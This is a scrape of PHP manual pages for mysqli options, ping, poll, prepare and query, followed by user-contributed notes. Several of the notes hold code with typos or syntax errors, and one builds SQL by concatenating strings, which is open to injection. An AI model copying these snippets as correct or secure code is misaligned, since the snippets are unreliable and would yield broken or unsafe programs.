MYSQLI_READ_DEFAULT_GROUP | Read options from the named group from my.cnf or the file specified with MYSQL_READ_DEFAULT_FILE.
MYSQLI_SERVER_PUBLIC_KEY | RSA public key file used with the SHA-256 based authentication.

value

The value for the option.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.5.0 | The MYSQLI_SERVER_PUBLIC_KEY option was added.

Examples

See mysqli_real_connect().

Notes

Note:

MySQLnd always assumes the server default charset. This charset is sent during connection hand-shake/authentication, which mysqlnd will use.

Libmysqlclient uses the default charset set in the my.cnf or by an explicit call to mysqli_options() prior to calling mysqli_real_connect(), but after mysqli_init().

See Also

  • mysqli_init() - Initializes MySQLi and returns a resource for use with mysqli_real_connect()
  • mysqli_real_connect() - Opens a connection to a mysql server

User Contributed Notes

king at bobfish dot org 14-Feb-2008 09:05
Example on using mysqli_options to increase size of max_allowed_packet for working with big blobs.

function dbConnect()
{
   $user = 'jomama';
   $pass = 'cartoon';
   $dbName = 'LifeCycle';
   $host = 'localhost';

   $mysqli = mysqli_init();
   mysqli_options($mysqli,MYSQLI_READ_DEFAULT_GROUP,
                                    "max_allowed_packet=50M");
   mysqli_real_connect($mysqli,$host, $user, $pass,$dbName)
                  or die ('<P>Unable to connect</P>');

   return $mysqli;
}
fluppy 07-Mar-2007 11:46
Here es little example to create a SSL Connection

<?php

$db = mysqli_init();

/*
When you want so use a separate cnf
$test = $db->options(MYSQLI_EAD_DEFAULT_FILE,'myother.cnf');
*/

$db->ssl_set('server-key.pem','server-cert.pem',
'cacert.pem',NULL,NULL);

$db->real_connct('localhost','root','','mydb');

//Here some query

$db->close();

?>


Pings a server connection, or tries to reconnect if the connection has gone down

  • « mysqli::options
  • mysqli::poll »
  • PHP Manual
  • mysqli
  • Pings a server connection, or tries to reconnect if the connection has gone down

mysqli::ping

mysqli_ping

(PHP 5)

mysqli::ping -- mysqli_ping — Pings a server connection, or tries to reconnect if the connection has gone down

Description

Object oriented style

bool mysqli::ping ( void )

Procedural style

bool mysqli_ping ( mysqli $link )

Checks whether the connection to the server is working. If it has gone down, and global option mysqli.reconnect is enabled an automatic reconnection is attempted.

This function can be used by clients that remain idle for a long while, to check whether the server has closed the connection and reconnect if necessary.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::ping() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

/* check if server is alive */
if ($mysqli->ping()) {
    printf ("Our connection is ok!\n");
} else {
    printf ("Error: %s\n", $mysqli->error);
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* check if server is alive */
if (mysqli_ping($link)) {
    printf ("Our connection is ok!\n");
} else {
    printf ("Error: %s\n", mysqli_error($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Our connection is ok!

User Contributed Notes

jay at grooveshark dot com 27-Sep-2014 09:07
This does not work with mysqlnd and is marked as wontfix: https://bugs.php.net/bug.php?id=52561


Poll connections

  • « mysqli::ping
  • mysqli::prepare »
  • PHP Manual
  • mysqli
  • Poll connections

mysqli::poll

mysqli_poll

(PHP 5 >= 5.3.0)

mysqli::poll -- mysqli_poll — Poll connections

Description

Object oriented style

public static int mysqli::poll ( array &$read , array &$error , array &$reject , int $sec [, int $usec ] )

Procedural style

int mysqli_poll ( array &$read , array &$error , array &$reject , int $sec [, int $usec ] )

Poll connections. Available only with mysqlnd. The method can be used as static.

Parameters

read

List of connections to check for outstanding results that can be read.

error

List of connections on which an error occured, for example, query failure or lost connection.

reject

List of connections rejected because no asynchronous query has been run on for which the function could poll results.

sec

Number of seconds to wait, must be non-negative.

usec

Number of microseconds to wait, must be non-negative.

Return Values

Returns number of ready connections upon success, FALSE otherwise.

Examples

Example #1 A mysqli_poll() example

<?php
$link1 = mysqli_connect();
$link1->query("SELECT 'test'", MYSQLI_ASYNC);
$all_links = array($link1);
$processed = 0;
do {
    $links = $errors = $reject = array();
    foreach ($all_links as $link) {
        $links[] = $errors[] = $reject[] = $link;
    }
    if (!mysqli_poll($links, $errors, $reject, 1)) {
        continue;
    }
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            if (is_object($result))
                mysqli_free_result($result);
        } else die(sprintf("MySQLi Error: %s", mysqli_error($link)));
        $processed++;
    }
} while ($processed < count($all_links));
?>

The above example will output:

Array
(
    [0] => test
)

See Also

  • mysqli_query() - Performs a query on the database
  • mysqli_reap_async_query() - Get result from async query

User Contributed Notes

l_sanczyk at hotmail dot com 22-Jul-2014 04:56
You can use the following code to execute, for example, 10 simultaneous queries:

$query = "SELECT `field1`, `field2` FROM `table` WHERE `field1`='something'";

$all_links = array();
for($i=0; $i<10; $i++) {
    $link = mysqli_connect("your.mysql.server.here","your@user","pa$$w0rd",DataBase_Name");
    $link->query($query, MYSQLI_ASYNC);
    $all_links[] = $link;
}

$processed = 0;
do {
    $links = $errors = $reject = array();
    foreach ($all_links as $link) {
        $links[] = $errors[] = $reject[] = $link;
    }
    if (!mysqli_poll($links, $errors, $reject, 1)) {
        continue;
    }
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            if (is_object($result))
                mysqli_free_result($result);
        } else die(sprintf("MySQLi Error: %s", mysqli_error($link)));
        $processed++;
    }
} while ($processed < count($all_links));

NOTE: If you get a "Warning: mysqli::query() expects parameter 2 to be long, string given" you have a mysqlnd installation or configuration issue.


Prepare an SQL statement for execution

  • « mysqli::poll
  • mysqli::query »
  • PHP Manual
  • mysqli
  • Prepare an SQL statement for execution

mysqli::prepare

mysqli_prepare

(PHP 5)

mysqli::prepare -- mysqli_prepare — Prepare an SQL statement for execution

Description

Object oriented style

mysqli_stmt mysqli::prepare ( string $query )

Procedural style

mysqli_stmt mysqli_prepare ( mysqli $link , string $query )

Prepares the SQL query, and returns a statement handle to be used for further operations on the statement. The query must consist of a single SQL statement.

The parameter markers must be bound to application variables using mysqli_stmt_bind_param() and/or mysqli_stmt_bind_result() before executing the statement or fetching rows.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

query

The query, as a string.

Note:

You should not add a terminating semicolon or \g to the statement.

This parameter can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

Note:

The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement, or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. It's not allowed to compare marker with NULL by ? IS NULL too. In general, parameters are legal only in Data Manipulation Language (DML) statements, and not in Data Definition Language (DDL) statements.

Return Values

mysqli_prepare() returns a statement object or FALSE if an error occurred.

Examples

Example #1 mysqli::prepare() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
if ($stmt = $mysqli->prepare("SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for markers */
    $stmt->bind_param("s", $city);

    /* execute query */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($district);

    /* fetch value */
    $stmt->fetch();

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
if ($stmt = mysqli_prepare($link, "SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for markers */
    mysqli_stmt_bind_param($stmt, "s", $city);

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $district);

    /* fetch value */
    mysqli_stmt_fetch($stmt);

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Amersfoort is in district Utrecht

See Also

  • mysqli_stmt_execute() - Executes a prepared Query
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • mysqli_stmt_close() - Closes a prepared statement

User Contributed Notes

marmstro at gmail dot com 05-Oct-2013 12:05
If your IDE isn't recognizing $stmt as an object of type mysqli_stmt when you use the traditional perpare:

$stmt = mysqli_prepare($link, $query);

The following works and is IDE friendly:

$stmt = new mysqli_stmt($link, $query);
@runspired 01-Feb-2013 01:42
I don't think this is a bug, just an unexpected behavior.  While building an API I discovered that passing INT 0 instead of STRING '0' into a prepared statement caused my script to run out of memory and produce a 500error on the webpage.

A simplified example of this issue is below: ($_DB is a global reference to a mysqli connection)

<?php
function getItem( $ID ) {

     $_STATEMENT = $_DB->prepare("SELECT item_user, item_name, item_description FROM item WHERE item_id = ?;");

     $_STATEMENT->bind_param( 'i' , $ID );

     $_STATEMENT->execute();
     $_STATEMENT->store_result();

     $_STATEMENT->bind_result( $user , $name , $description);
     $result = $_STATEMENT->fetch();

     $_STATEMENT->free_result();
     $_STATEMENT->close();

     return $result;
}

getItem(0); //fails!
getItem('0'); //works!

?>

The best I can guess is that an INT 0 gets translated as BOOLEAN , and if this is indeed the case it should be documented above, but all efforts to get error information (via the php script) have failed.
timchampion dot NOSPAM at gmail dot com 18-Feb-2012 05:56
Just wanted to make sure that all were aware of get_result.

In the code sample, after execute(), perform a get_result() like this:

<?php

// ... document's example code:

    /* bind parameters for markers */
    $stmt->bind_param("s", $city);

    /* execute query */
    $stmt->execute();

    /* instead of bind_result: */
    $result = $stmt->get_result();

    /* now you can fetch the results into an array - NICE */
    while ($myrow = $result->fetch_assoc()) {

        // use your $myrow array as you would with any other fetch
        printf("%s is in district %s\n", $city, $myrow['district']);

    }
?>

This is much nicer when you have a dozen or more fields coming back from your query.  Hope this helps.
Bernie van&#39;t Hof 02-Feb-2012 03:38
Prepared statements are confusing in the beginning ..

mysqli->prepare() returns a so-called statement object which is used for subsequent operations eg execute, bind_param, store_result, bind_result, fetch, etc.

The statement object has private properties which update as each statement operation is carried out. I found these useful for understanding what is going on when writing a prepared statement function:

affected_rows
insert_id
num_rows
param_count
field_count
errno
error
sqlstate
id

But it took a little time to get my head around accessing them:

<?php
$stmt = $mysqli->prepare($query);

//       .. $stmt-> operations ..

var_dump($stmt); // shows null values

var_dump($stmt->errno); // note literal, displays value

//       .. $stmt-> operations ..

// to keep a copy ..
// get_object_properties() won't work
// clone() won't work
$properties = array();
foreach ($stmt as $name => $priv){
    $properties[$name] = $stmt->$name; //    works
    // $properties[$name] = $priv; //    won't work, foreach can't access private properties
}

$stmt->close();
// var_dump($stmt->errno) // won't work, $stmt is closed
?>
Darren 14-Jan-2012 08:09
I wrote this function for my personal use and figured I would share it.  I am not sure if this is the appropriate forum but I wish I had this when I stumbled on to mysqli::prepare.  The function is an update of the function I posted previously.  The previous function could not handle multiple queries.

For queries:
Results of single queries are given as arrays[row#][associated Data Array]
Results of multiple queries are given as arrays[query#][row#][associated Data Array]

For queries which return an affected row#, affected rows are returned instead of (array[row#][associated Data Array])

Code and example are below:

<?php
function mysqli_prepared_query($link,$sql,$typeDef = FALSE,$params = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if(count($params) == count($params,1)){
      $params = array($params);
      $multiQuery = FALSE;
    } else {
      $multiQuery = TRUE;
    }

    if($typeDef){
      $bindParams = array();
      $bindParamsReferences = array();
      $bindParams = array_pad($bindParams,(count($params,1)-count($params))/count($params),"");
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }
      array_unshift($bindParamsReferences,$typeDef);
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences);
    }

    $result = array();
    foreach($params as $queryKey => $query){
      foreach($bindParams as $paramKey => $value){
        $bindParams[$paramKey] = $query[$paramKey];
      }
      $queryResult = array();
      if(mysqli_stmt_execute($stmt)){
        $resultMetaData = mysqli_stmt_result_metadata($stmt);
        if($resultMetaData){
          $stmtRow = array();
          $rowReferences = array();
          while ($field = mysqli_fetch_field($resultMetaData)) {
            $rowReferences[] = &$stmtRow[$field->name];
          }
          mysqli_free_result($resultMetaData);
          $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
          $bindResultMethod->invokeArgs($stmt, $rowReferences);
          while(mysqli_stmt_fetch($stmt)){
            $row = array();
            foreach($stmtRow as $key => $value){
              $row[$key] = $value;
            }
            $queryResult[] = $row;
          }
          mysqli_stmt_free_result($stmt);
        } else {
          $queryResult[] = mysqli_stmt_affected_rows($stmt);
        }
      } else {
        $queryResult[] = FALSE;
      }
      $result[$queryKey] = $queryResult;
    }
    mysqli_stmt_close($stmt);
  } else {
    $result = FALSE;
  }

  if($multiQuery){
    return $result;
  } else {
    return $result[0];
  }
}
?>

Example(s):
For a table of firstName and lastName:
John Smith
Mark Smith
Jack Johnson
Bob Johnson

<?php
//single query, single result
$query = "SELECT * FROM names WHERE firstName=? AND lastName=?";
$params = array("Bob","Johnson");

mysqli_prepared_query($link,$query,"ss",$params)
/*
returns array(
0=> array('firstName' => 'Bob', 'lastName' => 'Johnson')
)
*/

//single query, multiple results
$query = "SELECT * FROM names WHERE lastName=?";
$params = array("Smith");

mysqli_prepared_query($link,$query,"s",$params)
/*
returns array(
0=> array('firstName' => 'John', 'lastName' => 'Smith')
1=> array('firstName' => 'Mark', 'lastName' => 'Smith')
)
*/

//multiple query, multiple results
$query = "SELECT * FROM names WHERE lastName=?";
$params = array(array("Smith"),array("Johnson"));

mysqli_prepared_query($link,$query,"s",$params)
/*
returns array(
0=>
array(
0=> array('firstName' => 'John', 'lastName' => 'Smith')
1=> array('firstName' => 'Mark', 'lastName' => 'Smith')
)
1=>
array(
0=> array('firstName' => 'Jack', 'lastName' => 'Johnson')
1=> array('firstName' => 'Bob', 'lastName' => 'Johnson')
)
)
*/
?>

Hope it helps =)
Darren 11-Jan-2012 12:59
For those learning mysqli::prepare and mysqli_stmt::bind_params for the first time, here is a commented block of code which executes prepared queries and returns data in a similar format to the return values of mysqli_query.  I tried to minimize unnecessary classes, objects, or overhead for two reasons:
1) facilitate learning
2) allow relativity interchangeable use with mysqli_query

My goal is to lower the learning curve for whoever is starting out with these family of functions.  I am by no means an expert coder/scripter, so I am sure there are improvements and perhaps a few bugs, but I hope not =)

<?php
/*
Function: mysqli_prepared_query()
  Executes prepared querys given query syntax, and bind parameters
  Returns data in array format

Arguments:
  mysqli_link
  mysqli_prepare query
  mysqli_stmt_bind_param argmuent list in the form array($typeDefinitinonString, $var1 [, mixed $... ])

Return values:
  When given SELECT, SHOW, DESCRIBE or EXPLAIN statements: returns table data in the form resultArray[row number][associated field name]
  Returns number of rows affacted when given other queries
  Returns FALSE on error
*/
function mysqli_prepared_query($link,$sql,$bindParams = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if ($bindParams){
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');  //allows for call to mysqli_stmt->bind_param using variable argument list
      $bindParamsReferences = array();  //will act as arguments list for mysqli_stmt->bind_param

      $typeDefinitionString = array_shift($bindParams);
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }

      array_unshift($bindParamsReferences,$typeDefinitionString); //returns typeDefinition as the first element of the string
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); //calls mysqli_stmt->bind_param suing $bindParamsRereferences as the argument list
    }
    if(mysqli_stmt_execute($stmt)){
      $resultMetaData = mysqli_stmt_result_metadata($stmt);
      if($resultMetaData){
        $stmtRow = array(); //this will be a result row returned from mysqli_stmt_fetch($stmt)
        $rowReferences = array();  //this will reference $stmtRow and be passed to mysqli_bind_results
        while ($field = mysqli_fetch_field($resultMetaData)) {
          $rowReferences[] = &$stmtRow[$field->name];
        }
        mysqli_free_result($resultMetaData);
        $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
        $bindResultMethod->invokeArgs($stmt, $rowReferences); //calls mysqli_stmt_bind_result($stmt,[$rowReferences]) using object-oriented style
        $result = array();
        while(mysqli_stmt_fetch($stmt)){
          foreach($stmtRow as $key => $value){  //variables must be assigned by value, so $result[] = $stmtRow does not work (not really sure why, something with referencing in $stmtRow)
            $row[$key] = $value;
          }
          $result[] = $row;
        }
        mysqli_stmt_free_result($stmt);
      } else {
        $result = mysqli_stmt_affected_rows($stmt);
      }
      mysqli_stmt_close($stmt);
    } else {
      $result = FALSE;
    }
  } else {
    $result = FALSE;
  }
  return $result;
}

?>

Here's hoping the PHP gods don't smite me.
Zeebuck 24-Jul-2011 09:51
I think that the purpose that it was originally built for, and the purpose that people use it for today, have diverged.  But why dwell on the original purpose?  Obviously more code has been put into prepared statements today to allow it to be used to prevent sql injections, so it is now part of the design purpose today, as well as performance on repeatable statements.
Codeguy 30-Apr-2011 04:39
The actual purpose to use a prepared statement in sql is to cut the cost of processing queries; NOT to separate data from query. That's how it's being used w/ php NOW, not how it was designed to be used in the first place. With SQL you cut the cost of executing multiple similar queries down by using a prepared statement.. Doing so cuts out the parsing, validation and most often generates an execution plan for said query up front. Which is why they run faster in a loop, than their  IMMEDIATE Query cousins do. Do not assume that just because someone uses php and this function this way does not mean that it is THE way, or only way to do it. Although it is more secure than general queries but they are also more limited in what they can do or more precisely how you can go about doing it.
prwexler at earthlink dot net 09-Apr-2011 01:14
Actually, the purpose of a prepare statement is to separate user input from SQL commands.  This increases security by preventing a user from executing his own SQL code and damaging the integrity of a database.
Domenic Denicola 10-Jan-2010 04:18
It's worth noting that this function will error out with "Number of variables doesn't match number of parameters in prepared statement" for reasons that have nothing to do with the number of variables and parameters.

For example, I made the newbie mistake of saying "SELECT (username, password) FROM mytable WHERE something = ?" instead of "SELECT username, password FROM mytable WHERE something = ?" and got that error.

So basically, if you get that error, check your query syntax very carefully before poking around for the various problems that could occur with binding, pass-by-reference, etc.
sdepouw at NOSPAM dot com 30-Jul-2009 03:03
I don't know how obvious this was for anyone else, but if you attempt to prepare a query for a table that doesn't exist in the database the connection currently points to (or if your query is invalid in some other way, I suppose), an object will not be returned. I only noticed this after doing some digging when I kept getting a fatal error saying that my statement variable was not an set to an instance of an object (it was probably null).

Replace NOSPAM with nimblepros to e-mail me.
rafael at stiod dot com 30-Sep-2008 01:44
All data must be fetched before a new statement prepare
admin at xorath dot com 15-Aug-2007 07:39
Performance note to those who wonder. I performed a test where first of all inserted about 30,000 posts with one PK:id and a varchar(20), where the varchar data was md5-hash for the current iterator value just to fill with some data.

The test was performed on a dedicated ubuntu 7.04 server with apache2/php5/mysql5.0 running on Athlon 64 - 3000+ with 512MB of RAM. The queries where tested with a for-loop from 0 to 30000 first with:

<?php
for ( $i = 0; $i <= 30000; ++$i )
{
    $result = $mysqli->query("SELECT * FROM test WHERE id = $i");
    $row = $result->fetch_row();
    echo $row[0]; //prints id
}
?>

which gave a page-load time of about 3.3seconds avarage, then with this loop:

<?php
$stmt = $mysqli->prepare("SELECT * FROM test WHERE id = ?");
for ( $i = 0; $i <= 30000; ++$i )
{
    $stmt->bind_param("i", $i);
    $stmt->execute();
    $stmt->bind_result($id, $md5);
    $stmt->fetch();
    echo $id;
}
$stmt->close();
?>

and the avarage page-load was lowered by 1.3sec, which means about 2.0 sec avarage! Guess the performance difference could be even greater on a more complex/larger table and more complex SQL-queries.
nom0ny at yahoo dot com 25-May-2007 09:30
It must be noted in the Description whether developers should call mysqli_stmt_close prior to executing mysqli_prepare again on the same statement variable.

Example, Script A calls mysqli_stmt_close twice:
<?php
/* Script A -- We are already connected to the database */

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES (?, ?, 100)"); /* Query 1 */
mysqli_stmt_bind_param($stmt, "si", $string, $integer);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt); // CLOSE $stmt

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES ('PHP', ?, ?)"); /* Query 2 */
mysqli_stmt_bind_param($stmt, "ii", $integer, $code);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt); // CLOSE $stmt

/* Script A -- Continues on... */
?>

Next, we have Script B, calling mysqli_prepare again before issuing mysqli_stmt_close on the prior statement.
<?php
/* Script B -- We are already connected to the database */

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES (?, ?, 100)"); /* Query 1 */
mysqli_stmt_bind_param($stmt, "si", $string, $integer);
mysqli_stmt_execute($stmt);

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES ('PHP', ?, ?)"); /* Query 2 */
mysqli_stmt_bind_param($stmt, "ii", $integer, $code);
mysqli_stmt_execute($stmt);

mysqli_stmt_close($stmt); // CLOSE $stmt

/* Script B -- Continues on... */
?>

Which method is more efficient and should be used by developers?
Adam 11-Aug-2006 12:03
The purpose of prepared statements is to not include data in your SQL statements. Including them in your SQL statements is NOT safe. Always use prepared statements. They are cleaner to use (code easier to read) and not prone to SQL injections.

Escaping strings to include in SQL statements doesn't work very well in some locales hence it is not safe.
codeFiend <aeontech at gmail dot com> 05-May-2006 11:47
Note that single-quotes around the parameter markers _will_ prevent your statement from being prepared correctly.
Ex:

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES ('?')");
echo $stmt->param_count." parameters\n";
?>
will print 0 and fail with "Number of variables doesn't match number of parameters in prepared statement" warning when you try to bind the variables to it.

But

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES (?)");
echo $stmt->param_count." parameters\n";
?>
will print 1 and function correctly.

Very annoying, took me an hour to figure this out.
Ulf Wostner 23-Jan-2006 05:53
Here is an example using bind_param and bind_result, showing iteration over a list of cities.

Note that there's some bug-potential in cases where the query returns NULL for some parameter value,
but the bind_result variables still might be bound.  So, we use a conditional to spray the spot first.

$mysqli->select_db("world");

$template = "SELECT District, CountryCode FROM City WHERE Name=?";
printf("Prepare statement from template: %s\n",  $template);

$cities = array('San Francisco', 'Lisbon', 'Lisboa', 'Marrakech', 'Madrid');
printf("Cities: %s\n", join(':', $cities));

if ($stmt = $mysqli->prepare($template)) {

   foreach($cities as $city) {
     // bind the string $city to the '?'
     $stmt->bind_param("s", $city);
     $stmt->execute();
     // bind result variables
     $stmt->bind_result($d,$cc);
     // 'Lisbon' is not found in the world.City table, but 'Lisboa' is.
     // Using a conditional we avoid putting Lisbon in California.
     if($stmt->fetch()) {
       printf("%s is in  %s, %s\n", $city, $d, $cc);
     }

   }
   $stmt->close();
}

With the conditional statement we get the desired result:

Prepare statement from template: SELECT District,CountryCode FROM City WHERE Name=?
Cities: San Francisco:Lisbon:Lisboa:Marrakech:Madrid

San Francisco is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP

But, without the conditional statement we would put Lisbon in California:

San Francisco is in  California, USA
Lisbon is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP
David Kramer 20-Dec-2005 09:50
I don't think these are good examples, because the primary use of prepared queries is when you are going to call the same query in a loop, plugging in different values each time.  For instance, if you were generating a report and needed to run the same query for each line, tweaking the values in the WHERE clause, or importing data from another system.


Performs a query on the database

  • « mysqli::prepare
  • mysqli::real_connect »
  • PHP Manual
  • mysqli
  • Performs a query on the database

mysqli::query

mysqli_query

(PHP 5)

mysqli::query -- mysqli_query — Performs a query on the database

Description

Object oriented style

mixed mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] )

Procedural style

mixed mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] )

Performs a query against the database.

For non-DML queries (not INSERT, UPDATE or DELETE),
this function is similar to calling
mysqli_real_query() followed by either
mysqli_use_result() or
mysqli_store_result().

Note:

In the case where you pass a statement to mysqli_query() that is longer than max_allowed_packet of the server, the returned error codes are different depending on whether you are using MySQL Native Driver (mysqlnd) or MySQL Client Library (libmysqlclient). The behavior is as follows:

  • mysqlnd on Linux returns an error code of 1153. The error message means "got a packet bigger than max_allowed_packet bytes".

  • mysqlnd on Windows returns an error code 2006. This error message means "server has gone away".

  • libmysqlclient on all platforms returns an error code 2006. This error message means "server has gone away".

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

query

The query string.

Data inside the query should be properly escaped.

resultmode

Either the constant MYSQLI_USE_RESULT or MYSQLI_STORE_RESULT depending on the desired behavior. By default, MYSQLI_STORE_RESULT is used.

If you use MYSQLI_USE_RESULT all subsequent calls will return error Commands out of sync unless you call mysqli_free_result()

With MYSQLI_ASYNC (available with mysqlnd), it is possible to perform query asynchronously. mysqli_poll() is then used to get results from such queries.

Return Values

Returns FALSE on failure. For successful SELECT, SHOW, DESCRIBE or EXPLAIN queries mysqli_query() will return a mysqli_result object. For other successful queries mysqli_query() will return TRUE.

Changelog

Version | Description
5.3.0 | Added the ability of async queries.

Examples

Example #1 mysqli::query() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

/* Create table doesn't return a resultset */
if ($mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City") === TRUE) {
    printf("Table myCity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = $mysqli->query("SELECT Name FROM City LIMIT 10")) {
    printf("Select returned %d rows.\n", $result->num_rows);

    /* free result set */
    $result->close();
}

/* If we have to retrieve large amount of data we use MYSQLI_USE_RESULT */
if ($result = $mysqli->query("SELECT * FROM City", MYSQLI_USE_RESULT)) {

    /* Note, that we can't execute any functions which interact with the
       server until result set was closed. All calls will return an
       'out of sync' error */
    if (!$mysqli->query("SET @a:='this will not work'")) {
        printf("Error: %s\n", $mysqli->error);
    }
    $result->close();
}

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Create table doesn't return a resultset */
if (mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City") === TRUE) {
    printf("Table myCity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = mysqli_query($link, "SELECT Name FROM City LIMIT 10")) {
    printf("Select returned %d rows.\n", mysqli_num_rows($result));

    /* free result set */
    mysqli_free_result($result);
}

/* If we have to retrieve large amount of data we use MYSQLI_USE_RESULT */
if ($result = mysqli_query($link, "SELECT * FROM City", MYSQLI_USE_RESULT)) {

    /* Note, that we can't execute any functions which interact with the
       server until result set was closed. All calls will return an
       'out of sync' error */
    if (!mysqli_query($link, "SET @a:='this will not work'")) {
        printf("Error: %s\n", mysqli_error($link));
    }
    mysqli_free_result($result);
}

mysqli_close($link);
?>

The above examples will output:

Table myCity successfully created.
Select returned 10 rows.
Error: Commands out of sync;  You can't run this command now

See Also

  • mysqli_real_query() - Execute an SQL query
  • mysqli_multi_query() - Performs a query on the database
  • mysqli_free_result() - Frees the memory associated with a result

User Contributed Notes

ahmed dot 3abdolah at gmail dot com 12-Sep-2014 08:39
Hi, i created function that add  a new table using array , i work with it on my projects ...
<?PHP
                   /* this function was learned from PHP.net */
function array_keys_exist(&$key,array &$array){
                $keys = split("\|",$key);
                foreach($keys as $key_s){
                    if(array_key_exists($key_s, $array)) return true;
                    }
                return false;
            }
/*and this is my function */
array_create_table(array &$array){
        if(is_array($array)){
           $key = "table|rows|values";
        $info = "";
        if(array_keys_exist($key,$array)){
        if(is_array($array["rows"]) and is_array($array["values"]) ){

            if(count($array["rows"]) == count($array["values"])) {
                        for($i=0; $i<=count($array["rows"]); $i++){
    $info = $info." ".$array["rows"][$i]." ".$array["values"][$i]." NOT NULL ";
            if($i < count($array["rows"])-1 ) $info = $info.",";
                    }
    $query = "CREATE TABLE ".$this->private_tables_name.$array["table"]." ";
    $query .= "( id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, ".$info." )";
                    return $query;
                        }
                        }
                }else return "Error";
                    }
            }

/* the use is simple */
$database = new database(); // connection to database i used mysqli ...
$array = array("table"=>"MRO", "rows"=>array("name","username") , "values" => array("VARCHAR (50) "," VARCHAR (50) ") );

$query = array_create_table($array); // convert and create the query ...
if($database->query($query)) echo "Work"; else echo "Error"; // result : work

?>
joseph_robert_martinez at yahoo dot com 15-Mar-2014 04:00
For those using with replication enabled on their servers,  add a mysqli_select_db() statement before any data modification queries.  MySQL replication does not handle statements with db.table the same and will not replicate to the slaves if a scheme is not selected before.

Found out after days of resetting master and slaves on another site http://www.linuxquestions.org/questions/linux-server-73/mysql-5-1-not-replicating-properly-with-slave-823296/
popere dot noel at yahoo dot com 27-Jun-2013 06:43
or you could just extend the class...
 in my case i already had a wraper for the db so something like this was easy :

 public function  free($result) {

  $result->free_result();
 $this->link->next_result();
 }

just tried it and it works like a charm ;-)
blinki bill, argodak at yahoo dot com 06-Jun-2013 12:10
